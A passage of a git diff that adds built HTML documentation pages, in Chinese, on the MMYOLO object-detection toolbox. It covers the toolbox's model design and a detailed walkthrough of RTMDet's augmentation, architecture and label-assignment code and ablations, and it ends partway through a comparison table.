    MMYOLO 提供了从入门到部署到进阶和算法解析等一系列文档,方便不同用户快速上手和扩展。

    +
  • +
  • +

    模块化设计

    +

    MMYOLO 将框架解耦成不同的模块组件,通过组合不同的模块和训练测试策略,用户可以便捷地构建自定义模型。

    +
  • +
+基类 + 图为 RangeKing@GitHub 提供,非常感谢! +
+

教程​

+

MMYOLO 基于 MMDetection 开源库,并且采用相同的代码组织和设计方式。为了更好的使用本开源库,请先阅读 MMDetection 概述 对 MMDetection 进行初步地了解。

+

MMYOLO 用法和 MMDetection 几乎一致,所有教程都是通用的,你也可以了解 MMDetection 用户指南和进阶指南 。

+

针对和 MMDetection 不同的部分,我们也准备了用户指南和进阶指南,请阅读我们的 文档 。

+ +

基准测试和模型库​

+

测试结果和模型可以在 模型库 中找到。

+
支持的算法
+ + +
+
Details
+
+ 模块组件 +
+ + + + + + + + + + + + + + + + +
+ Backbones + + Necks + + Loss + + Common +
+
    +
  • YOLOv5CSPDarknet
  • +
  • YOLOXCSPDarknet
  • +
  • EfficientRep
  • +
  • CSPNeXt
  • +
+
+
    +
  • YOLOv5PAFPN
  • +
  • YOLOv6RepPAFPN
  • +
  • YOLOXPAFPN
  • +
  • CSPNeXtPAFPN
  • +
+
+
    +
  • IoULoss
  • +
+
+
    +
+
+
+

常见问题​

+

请参考 FAQ 了解其他用户的常见问题。

+

贡献指南​

+

我们感谢所有的贡献者为改进和提升 MMYOLO 所作出的努力。我们将正在进行中的项目添加进了GitHub Projects页面,非常欢迎社区用户能参与进这些项目中来。请参考贡献指南来了解参与项目贡献的相关指引。

+

致谢​

+

MMYOLO 是一款由来自不同高校和企业的研发人员共同参与贡献的开源项目。我们感谢所有为项目提供算法复现和新功能支持的贡献者,以及提供宝贵反馈的用户。 我们希望这个工具箱和基准测试可以为社区提供灵活的代码工具,供用户复现已有算法并开发自己的新模型,从而不断为开源社区提供贡献。

+

引用​

+

如果你觉得本项目对你的研究工作有所帮助,请参考如下 bibtex 引用 MMYOLO

+
@misc{mmyolo2022,
title={{MMYOLO: OpenMMLab YOLO} series toolbox and benchmark},
author={MMYOLO Contributors},
howpublished = {\url{https://github.com/open-mmlab/mmyolo}},
year={2022}
}
+

开源许可证​

+

该项目采用 GPL 3.0 开源许可证。

+

OpenMMLab 的其他项目​

+
    +
  • MMEngine: OpenMMLab 深度学习模型训练基础库
  • +
  • MMCV: OpenMMLab 计算机视觉基础库
  • +
  • MIM: MIM 是 OpenMMlab 项目、算法、模型的统一入口
  • +
  • MMClassification: OpenMMLab 图像分类工具箱
  • +
  • MMDetection: OpenMMLab 目标检测工具箱
  • +
  • MMDetection3D: OpenMMLab 新一代通用 3D 目标检测平台
  • +
  • MMRotate: OpenMMLab 旋转框检测工具箱与测试基准
  • +
  • MMYOLO: OpenMMLab YOLO 系列工具箱
  • +
  • MMSegmentation: OpenMMLab 语义分割工具箱
  • +
  • MMOCR: OpenMMLab 全流程文字检测识别理解工具包
  • +
  • MMPose: OpenMMLab 姿态估计工具箱
  • +
  • MMHuman3D: OpenMMLab 人体参数化模型工具箱与测试基准
  • +
  • MMSelfSup: OpenMMLab 自监督学习工具箱与测试基准
  • +
  • MMRazor: OpenMMLab 模型压缩工具箱与测试基准
  • +
  • MMFewShot: OpenMMLab 少样本学习工具箱与测试基准
  • +
  • MMAction2: OpenMMLab 新一代视频理解工具箱
  • +
  • MMTracking: OpenMMLab 一体化视频目标感知平台
  • +
  • MMFlow: OpenMMLab 光流估计工具箱与测试基准
  • +
  • MMEditing: OpenMMLab 图像视频编辑工具箱
  • +
  • MMGeneration: OpenMMLab 图片视频生成模型工具箱
  • +
  • MMDeploy: OpenMMLab 模型部署框架
  • +
  • MMEval: OpenMMLab 机器学习算法评测库
  • +
+

欢迎加入 OpenMMLab 社区​

+

扫描下方的二维码可关注 OpenMMLab 团队的 知乎官方账号,加入 OpenMMLab 团队的 官方交流 QQ 群

+
+ +
+

我们会在 OpenMMLab 社区为大家

+
    +
  • 📢 分享 AI 框架的前沿核心技术
  • +
  • 💻 解读 PyTorch 常用模块源码
  • +
  • 📰 发布 OpenMMLab 的相关新闻
  • +
  • 🚀 介绍 OpenMMLab 开发的前沿算法
  • +
  • 🏃 获取更高效的问题答疑和意见反馈
  • +
  • 🔥 提供与各行各业开发者充分交流的平台
  • +
+

干货满满 📘,等你来撩 💗,OpenMMLab 社区期待您的加入 👬

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html new file mode 100644 index 0000000..03385d4 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html @@ -0,0 +1,78 @@ + + + + + +model_design.md | wjlin0 + + + + + + + +

model_design.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

模型设计相关说明

+

YOLO 系列模型基类​

+

下图为 RangeKing@GitHub 提供,非常感谢!

+
+基类 +
+

YOLO 系列算法大部分采用了统一的算法搭建结构,典型的如 Darknet + PAFPN。为了让用户快速理解 YOLO 系列算法架构,我们特意设计了如上图中的 BaseBackbone + BaseYOLONeck 结构。

+

抽象 BaseBackbone 的好处包括:

+
    +
  1. 子类不需要关心 forward 过程,只要类似建造者模式一样构建模型即可。
  2. +
  3. 可以通过配置实现定制插件功能,用户可以很方便的插入一些类似注意力模块。
  4. +
  5. 所有子类自动支持 frozen 某些 stage 和 frozen bn 功能。
  6. +
+

抽象 BaseYOLONeck 也有同样好处。

+

BaseBackbone​

+

如上图所示,对于 P5 而言,BaseBackbone 包括 1 个 stem 层 + 4 个 stage 层的类似 ResNet 的基础结构,不同算法的主干网络继承 BaseBackbone,用户可以通过实现内部的 build_xx 方法,使用自定义的基础模块来构建每一层的内部结构。

+

BaseYOLONeck​

+

与 BaseBackbone 的设计类似,我们为 MMYOLO 系列的 Neck 层进行了重构,主要分为 Reduce 层, UpSample 层,TopDown 层,DownSample 层,BottomUP 层以及输出卷积层,每一层结构都可以通过继承重写 build_xx 方法来实现自定义的内部结构。

+

BaseDenseHead​

+

MMYOLO 系列沿用 MMDetection 中设计的 BaseDenseHead 作为其 Head 结构的基类,但是进一步拆分了 HeadModule. 以 YOLOv5 为例,其 HeadModule 中的 forward 实现代替了原有的 forward 实现。

+

HeadModule​

+
+HeadModule +
+

如上图所示,虚线部分为 MMDetection 中的实现,实线部分为 MMYOLO 中的实现。MMYOLO版本与原实现相比具备具有以下优势:

+
    +
  1. MMDetection 中将 bbox_head 拆分为 assigner + box coder + sampler 三个大的组件,但由于 3 个组件之间的传递为了通用性,需要封装额外的对象来处理,统一之后用户可以不用进行拆分。不刻意强求划分三大组件的好处为:不再需要对内部数据进行数据封装,简化了代码逻辑,减轻了社区使用难度和算法复现难度。
  2. +
  3. 速度更快,用户在自定义实现算法时候,可以不依赖于原有框架,对部分代码进行深度优化。
  4. +
+

总的来说,在 MMYOLO 中只需要做到将 model + loss_by_feat 部分解耦,用户就可以通过修改配置实现任意模型配合任意的 loss_by_feat 计算过程。例如将 YOLOv5 模型应用 YOLOX 的 loss_by_feat 等。

+

以 MMDetection 中 YOLOX 配置为例,其 Head 模块配置写法为:

+
bbox_head=dict(
type='YOLOXHead',
num_classes=80,
in_channels=128,
feat_channels=128,
stacked_convs=2,
strides=(8, 16, 32),
use_depthwise=False,
norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),
act_cfg=dict(type='Swish'),
...
loss_obj=dict(
type='CrossEntropyLoss',
use_sigmoid=True,
reduction='sum',
loss_weight=1.0),
loss_l1=dict(type='L1Loss', reduction='sum', loss_weight=1.0)),
train_cfg=dict(assigner=dict(type='SimOTAAssigner', center_radius=2.5)),
+

在 MMYOLO 中抽取 head_module 后,新的配置写法为:

+
bbox_head=dict(
type='YOLOXHead',
head_module=dict(
type='YOLOXHeadModule',
num_classes=80,
in_channels=256,
feat_channels=256,
widen_factor=widen_factor,
stacked_convs=2,
featmap_strides=(8, 16, 32),
use_depthwise=False,
norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),
act_cfg=dict(type='SiLU', inplace=True),
),
...
loss_obj=dict(
type='mmdet.CrossEntropyLoss',
use_sigmoid=True,
reduction='sum',
loss_weight=1.0),
loss_bbox_aux=dict(type='mmdet.L1Loss', reduction='sum', loss_weight=1.0)),
train_cfg=dict(
assigner=dict(
type='mmdet.SimOTAAssigner',
center_radius=2.5,
iou_calculator=dict(type='mmdet.BboxOverlaps2D'))),
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html new file mode 100644 index 0000000..1745f96 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html @@ -0,0 +1,650 @@ + + + + + +rtmdet_description.md | wjlin0 + + + + + + + +

rtmdet_description.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

RTMDet 原理和实现全解析

+

0 简介​

+

高性能,低延时的单阶段目标检测器

+
+RTMDet_structure_v1.2 +
+

以上结构图由 RangeKing@github 绘制。

+

最近一段时间,开源界涌现出了大量的高精度目标检测项目,其中最突出的就是 YOLO 系列,OpenMMLab 也在与社区的合作下推出了 MMYOLO。 +在调研了当前 YOLO 系列的诸多改进模型后,MMDetection 核心开发者针对这些设计以及训练方式进行了经验性的总结,并进行了优化,推出了高精度、低延时的单阶段目标检测器 RTMDet, Real-time Models for Object Detection +(Release to Manufacture)

+

RTMDet 由 tiny/s/m/l/x 一系列不同大小的模型组成,为不同的应用场景提供了不同的选择。 +其中,RTMDet-x 在 52.6 mAP 的精度下达到了 300+ FPS 的推理速度。

+
注:推理速度和精度测试(不包含 NMS)是在 1 块 NVIDIA 3090 GPU 上的 `TensorRT 8.4.3, cuDNN 8.2.0, FP16, batch size=1` 条件里测试的。
+

而最轻量的模型 RTMDet-tiny,在仅有 4M 参数量的情况下也能够达到 40.9 mAP,且推理速度 < 1 ms。

+
+RTMDet_精度图 +
+

上图中的精度是和 300 epoch 训练下的公平对比,为不使用蒸馏的结果。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
mAPParamsFlopsInference speed
Baseline(YOLOX)40.29M13.4G1.2ms
+ AdamW + Flat Cosine40.6 (+0.4)9M13.4G1.2ms
+ CSPNeXt backbone & PAFPN41.8 (+1.2)10.07M (+1.07)14.8G (+1.4)1.22ms (+0.02)
+ SepBNHead41.8 (+0)8.89M (-1.18)14.8G1.22ms
+ Label Assign & Loss42.9 (+1.1)8.89M14.8G1.22ms
+ Cached Mosaic & MixUp44.2 (+1.3)8.89M14.8G1.22ms
+ RSB-pretrained backbone44.5 (+0.3)8.89M14.8G1.22ms
+ +

1 v1.0 算法原理和 MMYOLO 实现解析​

+

1.1 数据增强模块​

+

RTMDet 采用了多种数据增强的方式来增加模型的性能,主要包括单图数据增强:

+
    +
  • RandomResize 随机尺度变换
  • +
  • RandomCrop 随机裁剪
  • +
  • HSVRandomAug 颜色空间增强
  • +
  • RandomFlip 随机水平翻转
  • +
+

以及混合类数据增强:

+
    +
  • Mosaic 马赛克
  • +
  • MixUp 图像混合
  • +
+

数据增强流程如下:

+
+image +
+

其中 RandomResize 超参在大模型 M,L,X 和小模型 S, Tiny 上是不一样的,大模型由于参数较多,可以使用 large scale jitter 策略即参数为 (0.1,2.0),而小模型采用 stand scale jitter 策略即 (0.5, 2.0) 策略。 +MMDetection 开源库中已经对单图数据增强进行了封装,用户通过简单的修改配置即可使用库中提供的任何数据增强功能,且都是属于比较常规的数据增强,不需要特殊介绍。下面将具体介绍混合类数据增强的具体实现。

+

与 YOLOv5 不同的是,YOLOv5 认为在 S 和 Nano 模型上使用 MixUp 是过剩的,小模型不需要这么强的数据增强。而 RTMDet 在 S 和 Tiny 上也使用了 MixUp,这是因为 RTMDet 在最后 20 epoch 会切换为正常的 aug, 并通过训练证明这个操作是有效的。 并且 RTMDet 为混合类数据增强引入了 Cache 方案,有效地减少了图像处理的时间, 和引入了可调超参 max_cached_images ,当使用较小的 cache 时,其效果类似 repeated augmentation。具体介绍如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Use cachems / 100 imgs
Mosaic87.1
Mosaic√24.0
MixUp19.3
MixUp√12.4
+ + + + + + + + + + + + + + + +
RTMDet-sRTMDet-l
Mosaic + MixUp + 20e finetune43.951.3
+

1.1.1 为图像混合数据增强引入 Cache​

+

Mosaic&MixUp 涉及到多张图片的混合,它们的耗时会是普通数据增强的 K 倍(K 为混入图片的数量)。 如在 YOLOv5 中,每次做 Mosaic 时, 4 张图片的信息都需要从硬盘中重新加载。 而 RTMDet 只需要重新载入当前的一张图片,其余参与混合增强的图片则从缓存队列中获取,通过牺牲一定内存空间的方式大幅提升了效率。 另外通过调整 cache 的大小以及 pop 的方式,也可以调整增强的强度。

+
+data cache +
+

如图所示,cache 队列中预先储存了 N 张已加载的图像与标签数据,每一个训练 step 中只需加载一张新的图片及其标签数据并更新到 cache 队列中(cache 队列中的图像可重复,如图中出现两次 img3),同时如果 cache 队列长度超过预设长度,则随机 pop 一张图(为了 Tiny 模型训练更稳定,在 Tiny 模型中不采用随机 pop 的方式, 而是移除最先加入的图片),当需要进行混合数据增强时,只需要从 cache 中随机选择需要的图像进行拼接等处理,而不需要全部从硬盘中加载,节省了图像加载的时间。

+
cache 队列的最大长度 N 为可调整参数,根据经验性的原则,当为每一张需要混合的图片提供十个缓存时,可以认为提供了足够的随机性,而 Mosaic 增强是四张图混合,因此 cache 数量默认 N=40, 同理 MixUp 的 cache 数量默认为20, tiny 模型需要更稳定的训练条件,因此其 cache 数量也为其余规格模型的一半( MixUp 为10,Mosaic 为20)
+

在具体实现中,MMYOLO 设计了 BaseMiximageTransform 类来支持多张图像混合数据增强:

+
if self.use_cached:
# Be careful: deep copying can be very time-consuming
# if results includes dataset.
dataset = results.pop('dataset', None)
self.results_cache.append(copy.deepcopy(results)) # 将当前加载的图片数据缓存到 cache 中
if len(self.results_cache) > self.max_cached_images:
if self.random_pop: # 除了tiny模型,self.random_pop=True
index = random.randint(0, len(self.results_cache) - 1)
else:
index = 0
self.results_cache.pop(index)

if len(self.results_cache) <= 4:
return results
else:
assert 'dataset' in results
# Be careful: deep copying can be very time-consuming
# if results includes dataset.
dataset = results.pop('dataset', None)
+

1.1.2 Mosaic​

+

Mosaic 是将 4 张图拼接为 1 张大图,相当于变相的增加了 batch size,具体步骤为:

+
    +
  1. 根据索引随机从自定义数据集中再采样3个图像,可能重复
  2. +
+
def get_indexes(self, dataset: Union[BaseDataset, list]) -> list:
"""Call function to collect indexes.

Args:
dataset (:obj:`Dataset` or list): The dataset or cached list.

Returns:
list: indexes.
"""
indexes = [random.randint(0, len(dataset)) for _ in range(3)]
return indexes
+
    +
  1. 随机选出 4 幅图像相交的中点。
  2. +
+
# mosaic center x, y
center_x = int(
random.uniform(*self.center_ratio_range) * self.img_scale[1])
center_y = int(
random.uniform(*self.center_ratio_range) * self.img_scale[0])
center_position = (center_x, center_y)
+
    +
  1. 根据采样的 index 读取图片并拼接, 拼接前会先进行 keep-ratio 的 resize 图片(即为最大边一定是 640)。
  2. +
+
# keep_ratio resize
scale_ratio_i = min(self.img_scale[0] / h_i,
self.img_scale[1] / w_i)
img_i = mmcv.imresize(
img_i, (int(w_i * scale_ratio_i), int(h_i * scale_ratio_i)))
+
    +
  1. 拼接后,把 bbox 和 label 全部拼接起来,然后对 bbox 进行裁剪但是不过滤(可能出现一些无效框)
  2. +
+
mosaic_bboxes.clip_([2 * self.img_scale[0], 2 * self.img_scale[1]])
+

更多的关于 Mosaic 原理的详情可以参考 YOLOv5 原理和实现全解析 中的 Mosaic 原理分析。

+

1.1.3 MixUp​

+

RTMDet 的 MixUp 实现方式与 YOLOX 中一样,只不过增加了类似上文中提到的 cache 功能。

+

更多的关于 MixUp 原理的详情也可以参考 YOLOv5 原理和实现全解析 中的 MixUp 原理分析。

+

1.1.4 强弱两阶段训练​

+

Mosaic+MixUp 失真度比较高,持续用太强的数据增强对模型并不一定有益。YOLOX 中率先使用了强弱两阶段的训川练方式,但由于引入了旋转,切片导致 box 标注产生误差,需要在第二阶段引入额外的 L1oss 来纠正回归分支的性能。

+

为了使数据增强的方式更为通用,RTMDet 在前 280 epoch 使用不带旋转的 Mosaic+MixUp, 且通过混入 8 张图片来提升强度以及正样本数。后 20 epoch 使用比较小的学习率在比较弱的增强下进行微调,同时在 EMA 的作用下将参数缓慢更新至模型,能够得到比较大的提升。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
RTMDet-sRTMDet-l
LSJ + rand crop42.346.7
Mosaic+MixUp41.949.8
Mosaic + MixUp + 20e finetune43.951.3
+

1.2 模型结构​

+

RTMDet 模型整体结构和 YOLOX 几乎一致,由 CSPNeXt + CSPNeXtPAFPN + 共享卷积权重但分别计算 BN 的 SepBNHead 构成。内部核心模块也是 CSPLayer,但对其中的 Basic Block 进行了改进,提出了 CSPNeXt Block。

+

1.2.1 Backbone​

+

CSPNeXt 整体以 CSPDarknet 为基础,共 5 层结构,包含 1 个 Stem Layer 和 4 个 Stage Layer:

+
    +
  • +

    Stem Layer 是 3 层 3x3 kernel 的 ConvModule ,不同于之前的 Focus 模块或者 1 层 6x6 kernel 的 ConvModule 。

    +
  • +
  • +

    Stage Layer 总体结构与已有模型类似,前 3 个 Stage Layer 由 1 个 ConvModule 和 1 个 CSPLayer 组成。第 4 个 Stage Layer 在 ConvModule 和 CSPLayer 中间增加了 SPPF 模块(MMDetection 版本为 SPP 模块)。

    +
  • +
  • +

    如模型图 Details 部分所示,CSPLayer 由 3 个 ConvModule + n 个 CSPNeXt Block(带残差连接) + 1 个 Channel Attention 模块组成。ConvModule 为 1 层 3x3 Conv2d + BatchNorm + SiLU 激活函数。Channel Attention 模块为 1 层 AdaptiveAvgPool2d + 1 层 1x1 Conv2d + Hardsigmoid 激活函数。CSPNeXt Block 模块在下节详细讲述。

    +
  • +
  • +

    如果想阅读 Backbone - CSPNeXt 的源码,可以 点此 跳转。

    +
  • +
+

1.2.2 CSPNeXt Block​

+

Darknet (图 a)使用 1x1 与 3x3 卷积的 Basic Block。YOLOv6 、YOLOv7 、PPYOLO-E (图 b & c)使用了重参数化 Block。但重参数化的训练代价高,且不易量化,需要其他方式来弥补量化误差。 +RTMDet 则借鉴了最近比较热门的 ConvNeXt 、RepLKNet 的做法,为 Basic Block 加入了大 kernel 的 depth-wise 卷积(图 d),并将其命名为 CSPNeXt Block。

+
+BasicBlock +
+

关于不同 kernel 大小的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Kernel sizeparamsflopslatency-bs1-TRT-FP16 / msmAP
3x350.879.61G2.150.0
5x550.92M79.7G2.1150.9
7x751.180.34G2.7351.1
+

如果想阅读 Basic Block 和 CSPNeXt Block 源码,可以点此跳转。

+

1.2.3 调整检测器不同 stage 间的 block 数​

+

由于 CSPNeXt Block 内使用了 depth-wise 卷积,单个 block 内的层数增多。如果保持原有的 stage 内的 block 数,则会导致模型的推理速度大幅降低。

+

RTMDet 重新调整了不同 stage 间的 block 数,并调整了通道的超参,在保证了精度的情况下提升了推理速度。

+

关于不同 block 数的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Num blocksparamsflopslatency-bs1-TRT-FP16 / msmAP
L+3-9-9-353.486.282.651.4
L+3-6-6-350.92M79.7G2.1150.9
L+3-6-6-3 + channel attention52.3M79.9G2.451.3
+

最后不同大小模型的 block 数设置,可以参见源码 。

+

1.2.4 Neck​

+

Neck 模型结构和 YOLOX 几乎一样,只不过内部的 block 进行了替换。

+

1.2.5 Backbone 与 Neck 之间的参数量和计算量的均衡​

+

EfficientDet 、NASFPN 等工作在改进 Neck 时往往聚焦于如何修改特征融合的方式。 但引入过多的连接会增加检测器的延时,并增加内存开销。

+

所以 RTMDet 选择不引入额外的连接,而是改变 Backbone 与 Neck 间参数量的配比。该配比是通过手动调整 Backbone 和 Neck 的 expand_ratio 参数来实现的,其数值在 Backbone 和 Neck 中都为 0.5。expand_ratio 实际上是改变 CSPLayer 中各层通道数的参数(具体可见模型图 CSPLayer 部分)。如果想进行不同配比的实验,可以通过调整配置文件中的 backbone {expand_ratio} 和 neck {expand_ratio} 参数完成。

+

实验发现,当 Neck 在整个模型中的参数量占比更高时,延时更低,且对精度的影响很小。作者在直播答疑时回复,RTMDet 在 Neck 这一部分的实验参考了 GiraffeDet 的做法,但没有像 GiraffeDet 一样引入额外连接(详细可参见 RTMDet 发布视频 31分40秒左右的内容)。

+

关于不同参数量配比的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Model sizeBackboneNeckparamsflopslatency / msmAP
S47%45%8.54M15.76G1.2143.9
S63%29%9.01M15.85G1.3743.7
L47%45%50.92M79.7G2.1150.9
L63%29%57.43M93.732.5751.0
+

如果想阅读 Neck - CSPNeXtPAFPN 的源码,可以点此 跳转。

+

1.2.6 Head​

+

传统的 YOLO 系列都使用同一 Head 进行分类和回归。YOLOX 则将分类和回归分支解耦,PPYOLO-E 和 YOLOv6 则引入了 TOOD 中的结构。它们在不同特征层级之间都使用独立的 Head,因此 Head 在模型中也占有较多的参数量。

+

RTMDet 参考了 NAS-FPN 中的做法,使用了 SepBNHead,在不同层之间共享卷积权重,但是独立计算 BN(BatchNorm) 的统计量。

+

关于不同结构 Head 的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Head typeparamsflopslatency / msmAP
Fully-shared head52.3280.232.4448.0
Separated head57.0380.232.4451.2
SepBN head52.3280.232.4451.3
+

同时,RTMDet 也延续了作者之前在 NanoDet 中的思想,使用 Quality Focal Loss ,并去掉 Objectness 分支,进一步将 Head 轻量化。

+

如果想阅读 Head 中 RTMDetSepBNHeadModule 的源码,可以点此 跳转。

+
注:MMYOLO 和 MMDetection 中 Neck 和 Head 的具体实现稍有不同。
+

1.3 正负样本匹配策略​

+

正负样本匹配策略或者称为标签匹配策略 Label Assignment 是目标检测模型训练中最核心的问题之一, 更好的标签匹配策略往往能够使得网络更好学习到物体的特征以提高检测能力。

+

早期的样本标签匹配策略一般都是基于 空间以及尺度信息的先验 来决定样本的选取。 典型案例如下:

+
    +
  • FCOS 中先限定网格中心点在 GT 内筛选后然后再通过不同特征层限制尺寸来决定正负样本
  • +
  • RetinaNet 则是通过 Anchor 与 GT 的最大 IOU 匹配来划分正负样本
  • +
  • YOLOV5 的正负样本则是通过样本的宽高比先筛选一部分, 然后通过位置信息选取 GT 中心落在的 Grid 以及临近的两个作为正样本
  • +
+

但是上述方法都是属于基于 先验 的静态匹配策略, 就是样本的选取方式是根据人的经验规定的。 不会随着网络的优化而进行自动优化选取到更好的样本, 近些年涌现了许多优秀的动态标签匹配策略:

+
    +
  • OTA 提出使用 Sinkhorn 迭代求解匹配中的最优传输问题
  • +
  • YOLOX 中使用 OTA 的近似算法 SimOTA , TOOD 将分类分数以及 IOU 相乘计算 Cost 矩阵进行标签匹配等等
  • +
+

这些算法将 预测的 Bboxes 与 GT 的 IOU 和 分类分数 或者是对应 分类 Loss 和 回归 Loss 拿来计算 Matching Cost 矩阵再通过 top-k 的方式动态决定样本选取以及样本个数。通过这种方式, +在网络优化的过程中会自动选取对分类或者回归更加敏感有效的位置的样本, 它不再只依赖先验的静态的信息, 而是使用当前的预测结果去动态寻找最优的匹配, 只要模型的预测越准确, 匹配算法求得的结果也会更优秀。但是在网络训练的初期, 网络的分类以及回归是随机初始化, 这个时候还是需要 先验 来约束, 以达到 冷启动 的效果。

+

RTMDet 作者也是采用了动态的 SimOTA 做法,不过其对动态的正负样本分配策略进行了改进。 之前的动态匹配策略( HungarianAssigner 、OTA )往往使用与 Loss 完全一致的代价函数作为匹配的依据,但我们经过实验发现这并不一定时最优的。 使用更多 Soften 的 Cost 以及先验,能够提升性能。

+

1.3.1 Bbox 编解码过程​

+

RTMDet 的 BBox Coder 采用的是 mmdet.DistancePointBBoxCoder。

+

该类的 docstring 为 This coder encodes gt bboxes (x1, y1, x2, y2) into (top, bottom, left, right) and decode it back to the original.

+

编码器将 gt bboxes (x1, y1, x2, y2) 编码为 (top, bottom, left, right),并且解码至原图像上。

+

MMDet 编码的核心源码:

+
def bbox2distance(points: Tensor, bbox: Tensor, ...) -> Tensor:
"""
points (Tensor): 相当于 scale 值 stride ,且每个预测点仅为一个正方形 anchor 的 anchor point [x, y],Shape (n, 2) or (b, n, 2).
bbox (Tensor): Bbox 为乘上 stride 的网络预测值,格式为 xyxy,Shape (n, 4) or (b, n, 4).
"""
# 计算点距离四边的距离
left = points[..., 0] - bbox[..., 0]
top = points[..., 1] - bbox[..., 1]
right = bbox[..., 2] - points[..., 0]
bottom = bbox[..., 3] - points[..., 1]

...

return torch.stack([left, top, right, bottom], -1)
+

MMDetection 解码的核心源码:

+
def distance2bbox(points: Tensor, distance: Tensor, ...) -> Tensor:
"""
通过距离反算 bbox 的 xyxy
points (Tensor): 正方形的预测 anchor 的 anchor point [x, y],Shape (B, N, 2) or (N, 2).
distance (Tensor): 距离四边的距离。(left, top, right, bottom). Shape (B, N, 4) or (N, 4)
"""

# 反算 bbox xyxy
x1 = points[..., 0] - distance[..., 0]
y1 = points[..., 1] - distance[..., 1]
x2 = points[..., 0] + distance[..., 2]
y2 = points[..., 1] + distance[..., 3]

bboxes = torch.stack([x1, y1, x2, y2], -1)

...

return bboxes
+

1.3.2 匹配策略​

+

RTMDet 提出了 Dynamic Soft Label Assigner 来实现标签的动态匹配策略, 该方法主要包括使用 位置先验信息损失 , 样本回归损失 , 样本分类损失 , 同时对三个损失进行了 Soft 处理进行参数调优, 以达到最佳的动态匹配效果。

+

该方法 Matching Cost 矩阵由如下损失构成:

+
cost_matrix = soft_cls_cost + iou_cost + soft_center_prior
+
    +
  1. Soft_Center_Prior
  2. +
+
C\_{center} = \\alpha^{|x\_{pred}-x\_{gt}|-\\beta}
+
# valid_prior Tensor[N,4] 表示anchor point
# 4分别表示 x, y, 以及对应的特征层的 stride, stride
gt_center = (gt_bboxes[:, :2] + gt_bboxes[:, 2:]) / 2.0
valid_prior = priors[valid_mask]
strides = valid_prior[:, 2]
# 计算gt与anchor point的中心距离并转换到特征图尺度
distance = (valid_prior[:, None, :2] - gt_center[None, :, :]
).pow(2).sum(-1).sqrt() / strides[:, None]
# 以10为底计算位置的软化损失,限定在gt的6个单元格以内
soft_center_prior = torch.pow(10, distance - 3)
+
    +
  1. IOU_Cost
  2. +
+
C\_{reg} = -log(IOU)
+
# 计算回归 bboxes 和 gts 的 iou
pairwise_ious = self.iou_calculator(valid_decoded_bbox, gt_bboxes)
# 将 iou 使用 log 进行 soft , iou 越小 cost 更小
iou_cost = -torch.log(pairwise_ious + EPS) * 3
+
    +
  1. Soft_Cls_Cost
  2. +
+
C\_{cls} = CE(P,Y\_{soft}) \*(Y\_{soft}-P)^2
+
# 生成分类标签
gt_onehot_label = (
F.one_hot(gt_labels.to(torch.int64),
pred_scores.shape[-1]).float().unsqueeze(0).repeat(
num_valid, 1, 1))
valid_pred_scores = valid_pred_scores.unsqueeze(1).repeat(1, num_gt, 1)
# 不单单将分类标签为01,而是换成与 gt 的 iou
soft_label = gt_onehot_label * pairwise_ious[..., None]
# 使用 quality focal loss 计算分类损失 cost ,与实际的分类损失计算保持一致
scale_factor = soft_label - valid_pred_scores.sigmoid()
soft_cls_cost = F.binary_cross_entropy_with_logits(
valid_pred_scores, soft_label,
reduction='none') * scale_factor.abs().pow(2.0)
soft_cls_cost = soft_cls_cost.sum(dim=-1)
+

通过计算上述三个损失的和得到最终的 cost_matrix 后, 再使用 SimOTA 决定每一个 GT 匹配的样本的个数并决定最终的样本。具体操作如下所示:

+
    +
  1. 首先通过自适应计算每一个 gt 要选取的样本数量: 取每一个 gt 与所有 bboxes 前 13 大的 iou, 得到它们的和取整后作为这个 gt 的 样本数目 , 最少为 1 个, 记为 dynamic_ks。
  2. +
  3. 对于每一个 gt , 将其 cost_matrix 矩阵前 dynamic_ks 小的位置作为该 gt 的正样本。
  4. +
  5. 对于某一个 bbox, 如果被匹配到多个 gt 就将与这些 gts 的 cost_marix 中最小的那个作为其 label。
  6. +
+

在网络训练初期,因参数初始化,回归和分类的损失值 Cost 往往较大, 这时候 IOU 比较小, 选取的样本较少,主要起作用的是 Soft_center_prior 也就是位置信息,优先选取位置距离 GT 比较近的样本作为正样本,这也符合人们的理解,在网络前期给少量并且有足够质量的样本,以达到冷启动。 +当网络进行训练一段时间过后,分类分支和回归分支都进行了一定的优化后,这时 IOU 变大, 选取的样本也逐渐增多,这时网络也有能力学习到更多的样本,同时因为 IOU_Cost 以及 Soft_Cls_Cost 变小,网络也会动态的找到更有利优化分类以及回归的样本点。

+

在 Resnet50-1x 的三种损失的消融实验:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Soft_cls_costSoft_center_priorLog_IoU_costmAP
×××39.9
√××40.3
√√×40.8
√√√41.3
+

与其他主流 Assign 方法在 Resnet50-1x 的对比实验:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
methodmAP
ATSS39.2
PAA40.4
